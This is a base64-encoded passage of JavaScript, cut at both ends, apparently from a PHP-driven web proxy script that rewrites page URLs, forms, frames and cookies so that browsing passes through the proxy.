itwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpOw0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbihzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5OyB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpIHJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnBy